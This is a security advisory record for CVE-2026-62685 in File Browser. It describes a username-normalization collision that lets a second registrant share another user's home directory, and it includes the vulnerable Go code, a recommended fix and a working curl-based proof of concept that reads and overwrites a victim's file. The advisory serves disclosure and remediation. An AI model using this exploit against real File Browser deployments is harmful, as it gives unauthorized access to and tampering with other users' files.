{"id":"CVE-2026-62685","aliases":["GHSA-7rc3-g7h6-22m7"],"title":"File Browser: Colliding username normalization gives two users the same home directory","summary":"File Browser: Colliding username normalization gives two users the same home directory","severity":"high","cvss":8.1,"cwe":["CWE-647","CWE-706"],"vendor":"filebrowser","product":"github.com/filebrowser/filebrowser/v2","ecosystem":"go","affected":["github.com/filebrowser/filebrowser/v2 <= 2.63.16"],"patched":["github.com/filebrowser/filebrowser/v2 2.63.17"],"published":"2026-07-20","updated":"2026-07-20","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-7rc3-g7h6-22m7","references":[{"url":"https://github.com/filebrowser/filebrowser/security/advisories/GHSA-7rc3-g7h6-22m7"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-62685"},{"url":"https://github.com/filebrowser/filebrowser/commit/883a36f02fcb69566a8628cb47f18fdc73348387"},{"url":"https://github.com/filebrowser/filebrowser/releases/tag/v2.63.17"},{"url":"https://github.com/advisories/GHSA-7rc3-g7h6-22m7"}],"tags":["ghsa","go"],"epss":0.00553,"epssPercentile":0.45033,"ingestedAt":"2026-07-20T22:43:35.126Z","slug":"CVE-2026-62685","body":"## Overview\n\n## Summary\n\nFileBrowser confines each user to a *scope*: a home directory that acts as the boundary for everything they can read or write. When self-registration and automatic home-directory creation are both enabled (`Signup=true` and `CreateUserDir=true`), a new user's scope is built from their username after it passes through `cleanUsername()`. That function rewrites the name: it strips `..` and replaces every character outside `0-9A-Za-z@_\\-.` with `-`.\n\nThe problem is that this rewrite is **many-to-one**: different usernames can produce the same result, and FileBrowser never checks whether the resulting scope is already taken. So `team/one`, `team one`, and `team-one` all collapse to the same directory name, and whoever registers second is handed the **same home directory** as the first user instead of an isolated one.\n\nThis breaks per-user isolation. An attacker can pick a username that normalizes onto a victim's directory (for example registering `alice/` or `al..ice` to land in `alice`'s home) and gain full read **and** write access to that victim's files. Because username uniqueness is enforced on the raw name, both accounts coexist normally and neither user is warned that they share storage.\n\n## Details\n\n**1. The home directory is built straight from the cleaned username (`settings/dir.go:30`)**\n\n```go\n// MakeUserDir, when CreateUserDir is true:\nusername = cleanUsername(username)\n// ...\nuserScope = path.Join(s.UserHomeBasePath, username)   // line 30\nuserScope = path.Join(\"/\", userScope)                 // line 33\n```\n\nThe user's scope is `path.Join(UserHomeBasePath, cleanUsername(username))`.\n\n**2. `cleanUsername` collapses distinct inputs to the same output (`settings/dir.go:42-52`)**\n\n```go\nfunc cleanUsername(s string) string {\n    s = strings.Trim(s, \" \")\n    s = strings.ReplaceAll(s, \"..\", \"\")                       // line 45, deletes \"..\"\n    s = invalidFilenameChars.ReplaceAllString(s, \"-\")         // line 48, any non [0-9A-Za-z@_.-] -> \"-\"\n    s = dashes.ReplaceAllString(s, \"-\")                       // line 51, collapse repeated \"-\"\n    return s\n}\n```\n\nBecause several characters all map to `-` (and `..` is simply deleted), many different usernames produce the same output: `team/one`, `team one`, `team:one`, and `team-one` all become `team-one`, and `a..b` becomes `ab`. Usernames that are unique on their own end up pointing at one shared directory name.\n\n**3. No scope-uniqueness check exists**\n\nUsername uniqueness is enforced on the raw `username` (Storm `id`), but nothing enforces uniqueness of the derived `Scope`. `signupHandler` writes the colliding scope back to the user (`http/auth.go:198-203`) and saves the account; the second registrant simply reuses the first registrant's home directory (`MakeUserDir` calls `MkdirAll`, which is idempotent).\n\n## PoC\n\nTested against `filebrowser/filebrowser:v2.63.15` with `Signup=true` and `CreateUserDir=true` (default `minimumPasswordLength` is 12).\n\n**Attack Vector: register a colliding username and read/overwrite another user's files:**\n\n```bash\n#1. Create a dir in /tmp and start a fresh v2.63.15 container\nmkdir -p /tmp/filebrowser-test/srv\ndocker run -d --name filebrowser-test -p 8090:80 -v /tmp/filebrowser-test/srv:/srv filebrowser/filebrowser:v2.63.15 && sleep 4\nB=http://localhost:8090; PW='CollidePw12345!'\n\n#2. Admin logs in and enables the two required non-default settings: signup=true and createUserDir=true\nAP=$(docker logs filebrowser-test 2>&1 | grep -o 'password: .*' | awk '{print $2}')\nAT=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' -d \"{\\\"username\\\":\\\"admin\\\",\\\"password\\\":\\\"$AP\\\"}\")\ncurl -s -H \"X-Auth: $AT\" $B/api/settings \\\n  | python3 -c \"import sys,json;d=json.load(sys.stdin);d['signup']=True;d['createUserDir']=True;print(json.dumps(d))\" \\\n  | curl -s -X PUT $B/api/settings -H \"X-Auth: $AT\" -H 'Content-Type: application/json' -d @-\n\n#3. Register the victim teamone-x\ncurl -s -X POST $B/api/signup -H 'Content-Type: application/json' -d \"{\\\"username\\\":\\\"teamone-x\\\",\\\"password\\\":\\\"$PW\\\"}\"\n\n#4. Register the attacker teamone/x (distinct raw username that cleanUsername() normalizes to the same scope teamone-x)\ncurl -s -X POST $B/api/signup -H 'Content-Type: application/json' -d \"{\\\"username\\\":\\\"teamone/x\\\",\\\"password\\\":\\\"$PW\\\"}\"\n\n#5. Log in as both accounts (TA = victim, TB = attacker)\nTA=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' -d \"{\\\"username\\\":\\\"teamone-x\\\",\\\"password\\\":\\\"$PW\\\"}\")\nTB=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' -d \"{\\\"username\\\":\\\"teamone/x\\\",\\\"password\\\":\\\"$PW\\\"}\")\n\n#6. Victim A writes a private file\ncurl -s -X POST \"$B/api/resources/secretA.txt?override=true\" -H \"X-Auth: $TA\" --data-binary 'A-private-CONFIDENTIAL-data' -o /dev/null\n\n#7. Attacker B reads A's file (both resolve to the single shared home directory)\ncurl -s \"$B/api/raw/secretA.txt\" -H \"X-Auth: $TB\"\n\n#8. Attacker B overwrites the file\ncurl -s -X POST \"$B/api/resources/secretA.txt?override=true\" -H \"X-Auth: $TB\" --data-binary 'TAMPERED-BY-B' -o /dev/null\n\n#9. Victim A reads back the tampered content\ncurl -s \"$B/api/raw/secretA.txt\" -H \"X-Auth: $TA\"\n```\n\nExpected output (reproduced on a fresh `filebrowser-test` container, v2.63.15):\n\n```http\nGET  /api/raw/secretA.txt   (as user B, attacker)  -> 200\nA-private-CONFIDENTIAL-data\n\nPOST /api/resources/secretA.txt?override=true  (as user B)  -> 200   (empty body)\n\nGET  /api/raw/secretA.txt   (as user A, victim, reads back)  -> 200\nTAMPERED-BY-B\n\nGET  /api/users   (as admin, both accounts share one scope)  -> 200\n[ ... {\"username\":\"teamone-x\",\"scope\":\"/users/teamone-x\"}, {\"username\":\"teamone/x\",\"scope\":\"/users/teamone-x\"} ... ]\n```\n\nOn disk there is a single shared home directory `/srv/users/teamone-x`.\n\n## Impact\n\n- **Cross-user read:** an attacker registering a colliding username can read every file in a victim's home directory.\n- **Cross-user write and tamper:** the attacker can overwrite, rename, or delete the victim's files; the victim transparently sees the tampered content.\n- **Per-user isolation bypass:** the home-directory scoping that is supposed to confine each self-registered user is defeated whenever two usernames normalize to the same value.\n- **Targeted or opportunistic:** an attacker can deliberately craft a username that collides with a known victim (e.g. registering `alice/`, `alice.`, or `al..ice` to land on `alice`'s directory), or collisions can occur accidentally between legitimate users.\n- **Precondition:** requires the administrator to have enabled both `Signup` and `CreateUserDir`.\n\n## Recommended Fix\n\nMake the derived scope canonical and enforce its uniqueness. Either reject a signup whose normalized scope already exists, or bind the home directory to the immutable user ID rather than to a normalized username:\n\n```go\n// settings/dir.go, base the home dir on a collision-free identifier:\nuserScope = path.Join(s.UserHomeBasePath, strconv.FormatUint(uint64(user.ID), 10))\n```\n\nAlternatively, in `signupHandler`, after computing the scope, reject the registration if any existing user already owns that scope (`store.Users.GetByScope(scope)` ⇒ 409 Conflict). Also reject usernames whose normalized form differs from the raw username, so that `cleanUsername` is never silently lossy.\n\n## Affected packages\n\n- `github.com/filebrowser/filebrowser/v2 <= 2.63.16`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `github.com/filebrowser/filebrowser/v2 2.63.17`","depth":"twilight","depthScore":45,"depthScoreParts":{"impact":44.6,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}